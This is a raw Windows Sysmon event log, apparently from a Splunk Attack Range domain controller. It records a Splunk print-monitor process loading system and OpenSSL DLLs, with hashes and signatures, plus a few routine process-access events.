(rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000057812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000057788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000057783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.538{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 